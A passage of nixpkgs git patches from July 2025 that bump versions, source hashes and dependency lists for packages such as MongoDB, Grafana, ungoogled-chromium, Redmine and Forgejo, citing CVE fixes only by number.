 pkgs/servers/nosql/mongodb/7.0.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/nosql/mongodb/7.0.nix b/pkgs/servers/nosql/mongodb/7.0.nix
index 6e612b008ce8..c91f99f7d65e 100644
--- a/pkgs/servers/nosql/mongodb/7.0.nix
+++ b/pkgs/servers/nosql/mongodb/7.0.nix
@@ -21,8 +21,8 @@ let
 in
 buildMongoDB {
   inherit avxSupport;
-  version = "7.0.16";
-  sha256 = "sha256-j6GQZeAoetwhMOKkbuSPqBGdUbvg7f4u/1MYV1KMc4g=";
+  version = "7.0.21";
+  sha256 = "sha256-l/xXLauloxf4WwwdW+WGBAUArp2jdHHSFgEnzcCJYrc=";
   patches = [
     # ModuleNotFoundError: No module named 'mongo_tooling_metrics':
     # NameError: name 'SConsToolingMetrics' is not defined:

From ee8333f7cbd11697e6ab6d109a4423fb7218887c Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Fri, 18 Jul 2025 22:56:44 +0200
Subject: [PATCH 2597/4511] gerrit: 3.11.3 -> 3.11.4

Signed-off-by: Felix Singer <felixsinger@posteo.net>
---
 pkgs/by-name/ge/gerrit/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ge/gerrit/package.nix b/pkgs/by-name/ge/gerrit/package.nix
index 724ac4f462e0..07f29485b63d 100644
--- a/pkgs/by-name/ge/gerrit/package.nix
+++ b/pkgs/by-name/ge/gerrit/package.nix
@@ -8,11 +8,11 @@
 
 stdenv.mkDerivation rec {
   pname = "gerrit";
-  version = "3.11.3";
+  version = "3.11.4";
 
   src = fetchurl {
     url = "https://gerrit-releases.storage.googleapis.com/gerrit-${version}.war";
-    hash = "sha256-SkLfxBU4ePnrgqB9k9qoYZ1njgHVMjRX4BZYbbeUaAQ=";
+    hash = "sha256-cpdH/dIthC8v4bw17C3nTihvn97Mkx9RLaNEV9XKp4A=";
   };
 
   buildCommand = ''

From b4e90fefae3e5a709f4c5aa25dd4b51c037f8353 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Fri, 18 Jul 2025 13:07:48 +0200
Subject: [PATCH 2598/4511] grafana: 12.0.2 -> 12.0.2+security-01, fix
 CVE-2025-6023 & CVE-2025-6197

ChangeLog: https://github.com/grafana/grafana/releases/tag/v12.0.2%2Bsecurity-01
(cherry picked from commit d07c0298aff036a9b0c0b6f39254898b18803c42)
---
 pkgs/servers/monitoring/grafana/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/monitoring/grafana/default.nix b/pkgs/servers/monitoring/grafana/default.nix
index 4cb2f21ece02..0420de60e86f 100644
--- a/pkgs/servers/monitoring/grafana/default.nix
+++ b/pkgs/servers/monitoring/grafana/default.nix
@@ -40,7 +40,7 @@ let
 in
 buildGoModule rec {
   pname = "grafana";
-  version = "12.0.2";
+  version = "12.0.2+security-01";
 
   subPackages = [
     "pkg/cmd/grafana"
@@ -52,7 +52,7 @@ buildGoModule rec {
     owner = "grafana";
     repo = "grafana";
     rev = "v${version}";
-    hash = "sha256-Nzx7QAAON/cWLqadL2IpdRunFNNoXE8PPYrquqPvWfk=";
+    hash = "sha256-aMbxBDLikmUBZwfZQPLcCCk8BpMeQ7Pj1li4p28aZ88=";
   };
 
   # borrowed from: https://github.com/NixOS/nixpkgs/blob/d70d9425f49f9aba3c49e2c389fe6d42bac8c5b0/pkgs/development/tools/analysis/snyk/default.nix#L20-L22

From 3ffd1541d254f4af52325e0565996c4279391ca1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 8 Jul 2025 20:48:34 +0000
Subject: [PATCH 2599/4511] _7zz: 24.09 -> 25.00

(cherry picked from commit 91403a363877deb3f88c57f7d50bd530f7f7f26a)
---
 pkgs/by-name/_7/_7zz/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/_7/_7zz/package.nix b/pkgs/by-name/_7/_7zz/package.nix
index a2cc041d0e07..c59e94acd2f0 100644
--- a/pkgs/by-name/_7/_7zz/package.nix
+++ b/pkgs/by-name/_7/_7zz/package.nix
@@ -28,14 +28,14 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "7zz";
-  version = "24.09";
+  version = "25.00";
 
   src = fetchzip {
     url = "https://7-zip.org/a/7z${lib.replaceStrings [ "." ] [ "" ] finalAttrs.version}-src.tar.xz";
     hash =
       {
-        free = "sha256-iQJ2m2OZrdkzf2sDIbKuyu0wIUktfvySTpsGFSLDZOM=";
-        unfree = "sha256-HVSu5GvdCY3lVXLUkHxaXco22WO52J2ldkGgfsyMVVg=";
+        free = "sha256-YY2Nw1aeQjXay9IEd4SwuhgqzeK95nH4nlZGwAlud6o=";
+        unfree = "sha256-gwC/5OkIAHp0OHJWhwD7JpJVSx06oCFs1Ndf+iG5qB8=";
       }
       .${if enableUnfree then "unfree" else "free"};
     stripRoot = false;

From 517e4bfb606bc448a62ecd98d128b12d80ebe584 Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Fri, 18 Jul 2025 23:36:45 +0200
Subject: [PATCH 2600/4511] ungoogled-chromium: 138.0.7204.100-1 ->
 138.0.7204.157-1

https://chromereleases.googleblog.com/2025/07/stable-channel-update-for-desktop_15.html

This update includes 6 security fixes. Google is aware that an exploit
for CVE-2025-6558 exists in the wild.

CVEs:
CVE-2025-7656 CVE-2025-6558 CVE-2025-7657

(cherry picked from commit 57a3cd9cd3c4895c6d6e51c346123ccbbb638c8a)
---
 .../networking/browsers/chromium/info.json    | 26 +++++++++----------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index c07051ce3f4e..59fe35b85cea 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -802,7 +802,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "138.0.7204.100",
+    "version": "138.0.7204.157",
     "deps": {
       "depot_tools": {
         "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
@@ -813,16 +813,16 @@
         "hash": "sha256-UB9a7Fr1W0yYld6WbXyRR8dFqWsj/zx4KumDZ5JQKSM="
       },
       "ungoogled-patches": {
-        "rev": "138.0.7204.100-1",
-        "hash": "sha256-zIBOQlW8UAE7n8x6R5LLjiNUquLOiTPvyxx4sM9r85Y="
+        "rev": "138.0.7204.157-1",
+        "hash": "sha256-KzxbyIdESyom6biHUYRJfQJuhA84YQ1KpUHEYncb8IU="
       },
       "npmHash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "5f45b4744e3d5ba82c2ca6d942f1e7a516110752",
-        "hash": "sha256-bI75IXPl6YeauK2oTnUURh1ch1H7KKw/QzKYZ/q6htI=",
+        "rev": "e533e98b1267baa1f1c46d666b120e64e5146aa9",
+        "hash": "sha256-LbZ8/6Lvz1p3ydRL4fXtd7RL426PU3jU01Hx+DP5QYQ=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -897,8 +897,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "df15136b959fc60c230265f75ee7fc75c96e8250",
-        "hash": "sha256-b4bGxhtrsfmVdJo/5QT4/mtQ6hqxmfpmcrieqaT9/ls="
+        "rev": "e1dc0a7ab5d1f1f2edaa7e41447d873895e083bf",
+        "hash": "sha256-tkHvTkqbm4JtWnh41iu0aJ9Jo34hYc7aOKuuMQmST4c="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -932,8 +932,8 @@
       },
       "src/third_party/dawn": {
         "url": "https://dawn.googlesource.com/dawn.git",
-        "rev": "86772f20cca54b46f62b65ece1ef61224aef09db",
-        "hash": "sha256-N9DVbQE56WWBmJ/PJlYhU+pr8I+PFf/7FzMLCNqx3hg="
+        "rev": "1fde167ae683982d77b9ca7e1308bf9f498291e8",
+        "hash": "sha256-PbDTKSU19jn2hLDoazceYB/Rd6/qu6npPSrjOdeXFuU="
       },
       "src/third_party/dawn/third_party/glfw": {
         "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw",
@@ -1047,8 +1047,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "a6dbe06dafbad00ef4b0ea139ece1a94a5e2e6d8",
-        "hash": "sha256-XkyJFRxo3ZTBGfKdTwSIo14SLNPQAKQvY4lEX03j6LM="
+        "rev": "4cca0aa00c4915947f1081014d5cfa2e83d357fa",
+        "hash": "sha256-pVNr8NB5U/Uf688oOvPLpu81isCn/WmjJky01A000a4="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -1597,8 +1597,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "e5b4c78b54e8b033b2701db3df0bf67d3030e4c1",
-        "hash": "sha256-5y/yNZopnwtDrG+BBU6fMEi0yJJoYvsygQR+fl6vS/Y="
+        "rev": "de9d0f8b56ae61896e4d2ac577fc589efb14f87d",
+        "hash": "sha256-/T5fisjmN80bs3PtQrCRfH3Bo9dRSd3f+xpPLDh1RTY="
       }
     }
   }

From de9a9e020556af2ec64cea2945b89da5daf23988 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 18 Jul 2025 13:46:33 +0200
Subject: [PATCH 2601/4511] nspr: 4.36 -> 4.37

https://groups.google.com/a/mozilla.org/g/dev-tech-crypto/c/tA3pkONXpLs
(cherry picked from commit 29ad6893b76646d72226842fca1581c89811beeb)
---
 pkgs/by-name/ns/nspr/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ns/nspr/package.nix b/pkgs/by-name/ns/nspr/package.nix
index 236cdff3d954..fc364175c32e 100644
--- a/pkgs/by-name/ns/nspr/package.nix
+++ b/pkgs/by-name/ns/nspr/package.nix
@@ -8,11 +8,11 @@
 
 stdenv.mkDerivation rec {
   pname = "nspr";
-  version = "4.36";
+  version = "4.37";
 
   src = fetchurl {
     url = "mirror://mozilla/nspr/releases/v${version}/src/nspr-${version}.tar.gz";
-    hash = "sha256-Vd7DF/FAHNLl26hE00C5MKt1R/gYF5pAArzmLm8caJU=";
+    hash = "sha256-X5NE7Q4xhVvTj4izPJ2auU9wzlR+8yE+SI0VIPYYQPo=";
   };
 
   patches = [

From c5b260936338512cea6c166b2db58a167e0e1446 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Thu, 17 Jul 2025 13:04:24 +0200
Subject: [PATCH 2602/4511] redmine: Update Gemfile to 6.0.6

Commit 56ab8ba1380d intended to update Redmine to 6.0.6, but the Gemfile
wasn't updated accordingly. Fix that.

Signed-off-by: Felix Singer <felixsinger@posteo.net>
(cherry picked from commit 4731402264475c56b9b4f503e015e9187db43bda)
---
 pkgs/by-name/re/redmine/Gemfile      |  7 +++--
 pkgs/by-name/re/redmine/Gemfile.lock | 21 +++++++-------
 pkgs/by-name/re/redmine/gemset.nix   | 43 ++++++++--------------------
 3 files changed, 26 insertions(+), 45 deletions(-)

diff --git a/pkgs/by-name/re/redmine/Gemfile b/pkgs/by-name/re/redmine/Gemfile
index 8d0d2183e7a2..a5dab098e25f 100644
--- a/pkgs/by-name/re/redmine/Gemfile
+++ b/pkgs/by-name/re/redmine/Gemfile
@@ -11,7 +11,7 @@ gem 'marcel'
 gem 'mail', '~> 2.8.1'
 gem 'nokogiri', '~> 1.18.3'
 gem 'i18n', '~> 1.14.1'
-gem 'rbpdf', '~> 1.21.3'
+gem 'rbpdf', '~> 1.21.4'
 gem 'addressable'
 gem 'rubyzip', '~> 2.3.0'
 gem 'propshaft', '~> 1.1.0'
@@ -19,7 +19,7 @@ gem 'rack', '>= 3.1.3'
 
 #  Ruby Standard Gems
 gem 'csv', '~> 3.2.8'
-gem 'net-imap', '~> 0.4.8'
+gem 'net-imap', '~> 0.4.20'
 gem 'net-pop', '~> 0.1.2'
 gem 'net-smtp', '~> 0.4.0'
 
@@ -67,7 +67,7 @@ group :development do
 end
 
 group :test do
-  gem "rails-dom-testing"
+  gem "rails-dom-testing", '>= 2.3.0'
   gem 'mocha', '>= 2.0.1'
   gem 'simplecov', '~> 0.22.0', :require => false
   gem "ffi", platforms: [:mri, :mingw, :x64_mingw, :mswin]
@@ -77,6 +77,7 @@ group :test do
   gem 'selenium-webdriver', '>= 4.11.0'
   # RuboCop
   gem 'rubocop', '~> 1.68.0', require: false
+  gem 'rubocop-ast', '~> 1.40.0', require: false
   gem 'rubocop-performance', '~> 1.22.0', require: false
   gem 'rubocop-rails', '~> 2.27.0', require: false
   gem 'bundle-audit', require: false
diff --git a/pkgs/by-name/re/redmine/Gemfile.lock b/pkgs/by-name/re/redmine/Gemfile.lock
index d604ac49e4de..2c44d71f273b 100644
--- a/pkgs/by-name/re/redmine/Gemfile.lock
+++ b/pkgs/by-name/re/redmine/Gemfile.lock
@@ -112,7 +112,7 @@ GEM
       html-pipeline
     docile (1.4.1)
     drb (2.2.3)
-    erb (5.0.1)
+    erb (5.0.2)
     erubi (1.13.1)
     ffi (1.17.2)
     globalid (1.2.1)
@@ -123,12 +123,12 @@ GEM
     htmlentities (4.3.4)
     i18n (1.14.7)
       concurrent-ruby (~> 1.0)
-    io-console (0.8.0)
+    io-console (0.8.1)
     irb (1.15.2)
       pp (>= 0.6.0)
       rdoc (>= 4.0.0)
       reline (>= 0.4.2)
-    json (2.12.2)
+    json (2.13.0)
     language_server-protocol (3.17.0.5)
     listen (3.9.0)
       rb-fsevent (~> 0.10, >= 0.10.3)
@@ -173,7 +173,6 @@ GEM
     pp (0.6.2)
       prettyprint
     prettyprint (0.2.0)
-    prism (1.4.0)
     propshaft (1.1.0)
       actionpack (>= 7.0.0)
       activesupport (>= 7.0.0)
@@ -261,9 +260,8 @@ GEM
       rubocop-ast (>= 1.32.2, < 2.0)
       ruby-progressbar (~> 1.7)
       unicode-display_width (>= 2.4.0, < 3.0)
-    rubocop-ast (1.45.1)
-      parser (>= 3.3.7.2)
-      prism (~> 1.4)
+    rubocop-ast (1.40.0)
+      parser (>= 3.3.1.0)
     rubocop-performance (1.22.1)
       rubocop (>= 1.48.1, < 2.0)
       rubocop-ast (>= 1.31.1, < 2.0)
@@ -289,7 +287,7 @@ GEM
       docile (~> 1.1)
       simplecov-html (~> 0.11)
       simplecov_json_formatter (~> 0.1)
-    simplecov-html (0.13.1)
+    simplecov-html (0.13.2)
     simplecov_json_formatter (0.1.4)
     sqlite3 (1.7.3)
       mini_portile2 (~> 2.8.0)
@@ -342,7 +340,7 @@ DEPENDENCIES
   mini_mime (~> 1.1.0)
   mocha (>= 2.0.1)
   mysql2 (~> 0.5.0)
-  net-imap (~> 0.4.8)
+  net-imap (~> 0.4.20)
   net-ldap (~> 0.17.0)
   net-pop (~> 0.1.2)
   net-smtp (~> 0.4.0)
@@ -352,13 +350,14 @@ DEPENDENCIES
   puma
   rack (>= 3.1.3)
   rails (= 7.2.2.1)
-  rails-dom-testing
-  rbpdf (~> 1.21.3)
+  rails-dom-testing (>= 2.3.0)
+  rbpdf (~> 1.21.4)
   roadie-rails (~> 3.2.0)
   rotp (>= 5.0.0)
   rouge (~> 4.5)
   rqrcode
   rubocop (~> 1.68.0)
+  rubocop-ast (~> 1.40.0)
   rubocop-performance (~> 1.22.0)
   rubocop-rails (~> 2.27.0)
   rubyzip (~> 2.3.0)
diff --git a/pkgs/by-name/re/redmine/gemset.nix b/pkgs/by-name/re/redmine/gemset.nix
index e26cad8d1fd3..59400e25532a 100644
--- a/pkgs/by-name/re/redmine/gemset.nix
+++ b/pkgs/by-name/re/redmine/gemset.nix
@@ -488,10 +488,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "08rc8pzri3g7c85c76x84j05hkk12jvalrm2m3n97k1n7f03j13n";
+      sha256 = "03vcq8g8rxdq8njp9j9k9fxwjw19q4m08c7lxjs0yc6l8f0ja3yk";
       type = "gem";
     };
-    version = "5.0.1";
+    version = "5.0.2";
   };
   erubi = {
     groups = [ "default" ];
@@ -595,10 +595,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "18pgvl7lfjpichdfh1g50rpz0zpaqrpr52ybn9liv1v9pjn9ysnd";
+      sha256 = "1jszj95hazqqpnrjjzr326nn1j32xmsc9xvd97mbcrrgdc54858y";
       type = "gem";
     };
-    version = "0.8.0";
+    version = "0.8.1";
   };
   irb = {
     dependencies = [
@@ -627,10 +627,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1x5b8ipv6g0z44wgc45039k04smsyf95h2m5m67mqq35sa5a955s";
+      sha256 = "1861nwzxrfn7g90zmq9mndblprcqlfs1s0lyqp37wqdmip7g3gd4";
       type = "gem";
     };
-    version = "2.12.2";
+    version = "2.13.0";
   };
   language_server-protocol = {
     groups = [
@@ -957,19 +957,6 @@
     };
     version = "0.2.0";
   };
-  prism = {
-    groups = [
-      "default"
-      "test"
-    ];
-    platforms = [ ];
-    source = {
-      remotes = [ "https://rubygems.org" ];
-      sha256 = "0gkhpdjib9zi9i27vd9djrxiwjia03cijmd6q8yj2q1ix403w3nw";
-      type = "gem";
-    };
-    version = "1.4.0";
-  };
   propshaft = {
     dependencies = [
       "actionpack"
@@ -1394,21 +1381,15 @@
     version = "1.68.0";
   };
   rubocop-ast = {
-    dependencies = [
-      "parser"
-      "prism"
-    ];
-    groups = [
-      "default"
-      "test"
-    ];
+    dependencies = [ "parser" ];
+    groups = [ "test" ];
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0gis8w51k5dsmzzlppvwwznqyfd73fa3zcrpl1xihzy1mm4jw14l";
+      sha256 = "1rdjvc8jz05svc017akwsf2n91bmyj016m5qsg2dyz2i115hxyhp";
       type = "gem";
     };
-    version = "1.45.1";
+    version = "1.40.0";
   };
   rubocop-performance = {
     dependencies = [
@@ -1547,10 +1528,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "02zi3rwihp7rlnp9x18c9idnkx7x68w6jmxdhyc0xrhjwrz0pasx";
+      sha256 = "0ikjfwydgs08nm3xzc4cn4b6z6rmcrj2imp84xcnimy2wxa8w2xx";
       type = "gem";
     };
-    version = "0.13.1";
+    version = "0.13.2";
   };
   simplecov_json_formatter = {
     groups = [

From e87c1114f4e7729bbaaea6387d8210654f6ebab9 Mon Sep 17 00:00:00 2001
From: dish <pyrox@pyrox.dev>
Date: Thu, 17 Jul 2025 11:44:42 -0400
Subject: [PATCH 2603/4511] forgejo: 11.0.3 -> 12.0.0

https://forgejo.org/2025-07-release-v12-0/

https://codeberg.org/forgejo/forgejo/milestone/12836
(cherry picked from commit 21e98fc8a9087aaba3d6dd864e509e698915d62a)
---
 nixos/doc/manual/release-notes/rl-2505.section.md |  3 +++
 pkgs/by-name/fo/forgejo/package.nix               | 12 +++++++++++-
 2 files changed, 14 insertions(+), 1 deletion(-)

diff --git a/nixos/doc/manual/release-notes/rl-2505.section.md b/nixos/doc/manual/release-notes/rl-2505.section.md
index eef1c2ed2602..2585699b3771 100644
--- a/nixos/doc/manual/release-notes/rl-2505.section.md
+++ b/nixos/doc/manual/release-notes/rl-2505.section.md
@@ -416,6 +416,9 @@ Alongside many enhancements to NixOS modules and general system improvements, th
   As a result, all sections previously defined under `services.rsyncd.settings` must now be put in `services.rsyncd.settings.sections`.
   Global settings must now be placed in `services.rsyncd.settings.globalSection` instead of `services.rsyncd.settings.global`.
 
+- The non-LTS Forgejo package (`forgejo`) has been updated to 12.0.0. This release contains breaking changes, see the [release blog post](https://forgejo.org/2025-07-release-v12-0/)
+  for all the details and how to ensure smooth upgrades.
+
 <!-- To avoid merge conflicts, consider adding your item at an arbitrary place in the list instead. -->
 
 ## Other Notable Changes {#sec-release-25.05-notable-changes}
diff --git a/pkgs/by-name/fo/forgejo/package.nix b/pkgs/by-name/fo/forgejo/package.nix
index 26d62dc48bd8..bc5b3fae0797 100644
--- a/pkgs/by-name/fo/forgejo/package.nix
+++ b/pkgs/by-name/fo/forgejo/package.nix
@@ -1 +1,11 @@
-{ forgejo-lts }: forgejo-lts
+import ./generic.nix {
+  version = "12.0.0";
+  hash = "sha256-8cokjK9fbxd9lm+5oDoMll9f7ejiVzMNuDgC0Pk1pbM=";
+  npmDepsHash = "sha256-kq2AV1D0xA4Csm8XUTU5D0iCmyuajcnwlLdPjJ/mj1g=";
+  vendorHash = "sha256-B9menPCDUOYHPCS0B5KpxuE03FdFXmA8XqkiYEAxs5Y=";
+  lts = false;
+  nixUpdateExtraArgs = [
+    "--override-filename"
+    "pkgs/by-name/fo/forgejo/package.nix"
+  ];
+}

From 0cd89b9cb15747553e09fb1b73258588dfbd26c1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 16 Jul 2025 08:38:28 +0000
Subject: [PATCH 2604/4511] scotty: 0.6.0 -> 0.7.0

(cherry picked from commit 7b58856c5fbd755be202e11f3133dcd5305b1df9)
---
 pkgs/by-name/sc/scotty/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sc/scotty/package.nix b/pkgs/by-name/sc/scotty/package.nix
index 22cbaa18b126..888772891a33 100644
--- a/pkgs/by-name/sc/scotty/package.nix
+++ b/pkgs/by-name/sc/scotty/package.nix
@@ -9,13 +9,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "scotty";
-  version = "0.6.0";
+  version = "0.7.0";
 
   src = fetchFromSourcehut {
     owner = "~phw";
     repo = "scotty";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-VvBnTnW4ngJ0yPT2CV7t7HEUwJlBfWNE3coTHxGcAs4=";
+    hash = "sha256-NvFvayz8B69Vtl+Ghl9UBXqJqvka8p6hi2ClcQ7Xeys=";
   };
 
   # Otherwise checks fail with `panic: open /etc/protocols: operation not permitted` when sandboxing is enabled on Darwin
@@ -25,7 +25,7 @@ buildGoModule (finalAttrs: {
       --replace-fail '!os.IsNotExist(err)' '!os.IsNotExist(err) && !os.IsPermission(err)'
   '';
 
-  vendorHash = "sha256-5mDY3vlRzoqJleNukB8NcPaAcDLX/UNegUSBYFMzGGA=";
+  vendorHash = "sha256-+Hypr514lp0MuZVH9R9LUP93TYq2VNGuZ+6OWytohc8=";
 
   env = {
     # *Some* locale is required to be set

From da170b086ffc829f5da26c49657859803df3cbee Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 15 Jul 2025 14:24:32 +0000
Subject: [PATCH 2605/4511] sydbox: 3.35.2 -> 3.36.0

(cherry picked from commit 2e71d36164cf4bfd6e127a8ebda69f8402f039f8)
---
 pkgs/by-name/sy/sydbox/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/sy/sydbox/package.nix b/pkgs/by-name/sy/sydbox/package.nix
index c35f55a3dc02..2f0a9b3e1e47 100644
--- a/pkgs/by-name/sy/sydbox/package.nix
+++ b/pkgs/by-name/sy/sydbox/package.nix
@@ -12,7 +12,7 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "sydbox";
-  version = "3.35.2";
+  version = "3.36.0";
 
   outputs = [
     "out"
@@ -24,11 +24,11 @@ rustPlatform.buildRustPackage (finalAttrs: {
     owner = "Sydbox";
     repo = "sydbox";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-n3mvzYXb965eUWNJ5iHezqqAZj6v05gj092osYZuk5s=";
+    hash = "sha256-XGZHUMVTJLlWIwgEqVCMoHDoDkzkFAdTvOOtMtCAw98=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-D0lUkiARl0QL2OsojaJqsACn2fmN9x8Jp7mZzyRjyWY=";
+  cargoHash = "sha256-+NI1poeMXMlR9rafmGKu6i6iFORe2IGVVPj08MP8g3o=";
 
   nativeBuildInputs = [
     mandoc

From 81000dfeef6eaa762611a61afc712bc14440179b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 16 Jul 2025 23:47:33 +0000
Subject: [PATCH 2606/4511] garnet: 1.0.75 -> 1.0.78

(cherry picked from commit 1fc3041b50f95634cc81aac77b8a715d459360e4)
---
 pkgs/by-name/ga/garnet/deps.json   | 47 ++++++++++++++++++++----------
 pkgs/by-name/ga/garnet/package.nix |  4 +--
 2 files changed, 33 insertions(+), 18 deletions(-)

diff --git a/pkgs/by-name/ga/garnet/deps.json b/pkgs/by-name/ga/garnet/deps.json
index 420770cc04a9..9e5c1b7001a2 100644
--- a/pkgs/by-name/ga/garnet/deps.json
+++ b/pkgs/by-name/ga/garnet/deps.json
@@ -4,10 +4,15 @@
     "version": "1.44.1",
     "hash": "sha256-0su/ylZ68+FDZ6mgfp3qsm7qpfPtD5SW75HXbVhs5qk="
   },
+  {
+    "pname": "Azure.Core",
+    "version": "1.46.1",
+    "hash": "sha256-xpb9A2pFHEQ07yVrzq0gpeFBTN9LTqk7iHhg707a5Mg="
+  },
   {
     "pname": "Azure.Identity",
-    "version": "1.13.0",
-    "hash": "sha256-BXru3jP4oQchrBF/c3WDekZeRJlUxenBwVZ5YsifseI="
+    "version": "1.14.1",
+    "hash": "sha256-F4CtJqq8wh5g9wZj8exVuzSDQm4pp0Gq5RgrKsQFFzY="
   },
   {
     "pname": "Azure.Storage.Blobs",
@@ -34,6 +39,11 @@
     "version": "6.0.0",
     "hash": "sha256-49+H/iFwp+AfCICvWcqo9us4CzxApPKC37Q5Eqrw+JU="
   },
+  {
+    "pname": "Microsoft.Bcl.AsyncInterfaces",
+    "version": "8.0.0",
+    "hash": "sha256-9aWmiwMJKrKr9ohD1KSuol37y+jdDxPGJct3m2/Bknw="
+  },
   {
     "pname": "Microsoft.Bcl.Memory",
     "version": "9.0.0",
@@ -79,6 +89,11 @@
     "version": "8.0.2",
     "hash": "sha256-cHpe8X2BgYa5DzulZfq24rg8O2K5Lmq2OiLhoyAVgJc="
   },
+  {
+    "pname": "Microsoft.Extensions.Logging.Abstractions",
+    "version": "8.0.3",
+    "hash": "sha256-5MSY1aEwUbRXehSPHYw0cBZyFcUH4jkgabddxhMiu3Q="
+  },
   {
     "pname": "Microsoft.Extensions.Logging.Abstractions",
     "version": "9.0.3",
@@ -111,13 +126,13 @@
   },
   {
     "pname": "Microsoft.Identity.Client",
-    "version": "4.65.0",
-    "hash": "sha256-gkBVLb8acLYexNM4ZzMJ0qfDp2UqjUt0yiu3MfMcWig="
+    "version": "4.71.1",
+    "hash": "sha256-3KwibXbY1bV1ZQlSdOPtCjP2xQtPJpOb82OTmkwKjpY="
   },
   {
     "pname": "Microsoft.Identity.Client.Extensions.Msal",
-    "version": "4.65.0",
-    "hash": "sha256-Xmy/evicLvmbC+6ytxwVE646uVcJB5yMpEK73H5tzD0="
+    "version": "4.71.1",
+    "hash": "sha256-n6+06yWqyMjpKpdj9TmDz+XEQmCvw0KEgpG5dbEf0Io="
   },
   {
     "pname": "Microsoft.IdentityModel.Abstractions",
@@ -164,6 +179,11 @@
     "version": "1.1.0",
     "hash": "sha256-FiueWJawZGar++OztDFWxU2nQE5Vih9iYsc3uEx0thM="
   },
+  {
+    "pname": "System.ClientModel",
+    "version": "1.4.1",
+    "hash": "sha256-BG5ObHp2Kfmg7MT3ikaAKTGpJPEkpWOtQmkiqf14BWc="
+  },
   {
     "pname": "System.Diagnostics.DiagnosticSource",
     "version": "6.0.1",
@@ -179,11 +199,6 @@
     "version": "8.6.1",
     "hash": "sha256-vzwoEHRmUBnmlj77lFUZ/nD2oCEmY2rjwyaaXEZxuaU="
   },
-  {
-    "pname": "System.Interactive.Async",
-    "version": "6.0.1",
-    "hash": "sha256-4yzkdop+BMlpQ+qz/H7D7LkH1Ekh9n51t9yteHpv/58="
-  },
   {
     "pname": "System.IO.Hashing",
     "version": "6.0.0",
@@ -194,11 +209,6 @@
     "version": "9.0.3",
     "hash": "sha256-JV50VXnofGfL8lB/vNIpJstoBJper9tsXcjNFwGqL68="
   },
-  {
-    "pname": "System.Linq.Async",
-    "version": "6.0.1",
-    "hash": "sha256-uH5fZhcyQVtnsFc6GTUaRRrAQm05v5euJyWCXSFSOYI="
-  },
   {
     "pname": "System.Memory",
     "version": "4.5.5",
@@ -214,6 +224,11 @@
     "version": "6.0.0",
     "hash": "sha256-83/bxn3vyv17dQDDqH1L3yDpluhOxIS5XR27f4OnCEo="
   },
+  {
+    "pname": "System.Memory.Data",
+    "version": "6.0.1",
+    "hash": "sha256-RXS82gmLtIOAUaGqTc8J3bVbHTL5pnW3QFE3G+Xb5Jk="
+  },
   {
     "pname": "System.Numerics.Vectors",
     "version": "4.5.0",
diff --git a/pkgs/by-name/ga/garnet/package.nix b/pkgs/by-name/ga/garnet/package.nix
index e52bb9b66264..b9e34afaeed6 100644
--- a/pkgs/by-name/ga/garnet/package.nix
+++ b/pkgs/by-name/ga/garnet/package.nix
@@ -8,13 +8,13 @@
 
 buildDotnetModule rec {
   pname = "garnet";
